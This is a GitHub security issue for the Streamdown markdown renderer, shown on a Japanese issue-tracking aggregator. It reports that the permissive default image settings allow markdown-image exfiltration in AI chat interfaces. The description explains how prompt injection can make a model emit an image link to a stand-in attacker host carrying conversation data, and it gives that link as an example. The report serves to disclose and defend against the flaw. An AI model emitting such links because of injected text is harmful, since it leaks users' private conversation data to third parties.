Default `rehype-harden` config allows images from any origin — enables markdown-image exfiltration in AI chat UIs

オープン
#640 コメント 4 件 リアクション 0 件 担当者 0 名 GitHub で見る

メンテナーはふだん 1 日以内に返信

@Louayzouaoui1 がすでに取り組んでいます。

2026年10月6日 から。

評価

難易度
4/5
見積もり時間
3〜5日
初心者へのやさしさ
45/100
issue の種類
バグ
明瞭さ
おおむね明確
活発さ
活発
技術スタック
typescript
領域
security

調査の方向性

Start by tracing the shipped rehype-harden configuration in dist/chunk-YOKDWASOASOASO.js and locating its source configuration. Review how allowedImagePrefixes, allowedLinkPrefixes, allowedProtocols, allowDataImages, defaultOrigin, and rehypeRaw are exposed, then check the security documentation. Done means the default behavior or its documented opt-in configuration clearly addresses remote-image exfiltration and raw HTML handling.

索引モデルが issue の本文から書いたものです。

説明

Version: streamdown 2.6.0 (via AI Elements MessageResponse)

What the shipped defaults are (read from dist/chunk-YOKDWASO.js, not from a repro):

rehypePlugins: {
  raw: rehypeRaw,
  sanitize: [rehypeSanitize, schema],
  harden: [harden, {
    allowedImagePrefixes: ["*"],
    allowedLinkPrefixes: ["*"],
    allowedProtocols: ["*"],
    allowDataImages: true,
    defaultOrigin: undefined,
  }],
}

Why this matters for the use case Streamdown targets. Streamdown renders LLM output. When a
model's context contains attacker-controlled text (a fetched web page, a tool result, a stored
record), prompt injection can make the model emit
![](https://attacker.example/p?d=<data from the conversation>). With allowedImagePrefixes: ["*"]
the browser requests that URL as soon as the message renders, with no user action — the
markdown-image exfiltration pattern publicly reported against several AI chat products and
usually mitigated by restricting image origins. rehype-harden's own
purpose is exactly this restriction, but the default config turns it off, and the README
advertises "Security-first — built with rehype-harden", so integrators reasonably assume the
default is restrictive.

rehypeRaw being on by default widens the same surface (raw <img> / <a> are parsed, then
sanitized by the GitHub schema, which keeps src/href).

Ask (any of these would help):

  1. Ship a restrictive default for images (e.g. same-origin / defaultOrigin-relative only, or
    no remote images) and let apps opt in to ["*"].
  2. If ["*"] stays the default, document it prominently in the security section as a
    deliberate choice, with the recommended config for AI-chat apps.
  3. Document how to turn off rehypeRaw while keeping the other defaults.

Happy to test a change.

主要言語
TypeScript
スター
5.7k
フォーク
319
平均マージ
3日 12時間
マージ済み PR(30日)
30

環境構築

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

vercel/streamdown のほかの issue

vercel/streamdown の issue をすべて見る

似ている issue

TypeScript の issue をもっと見る

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。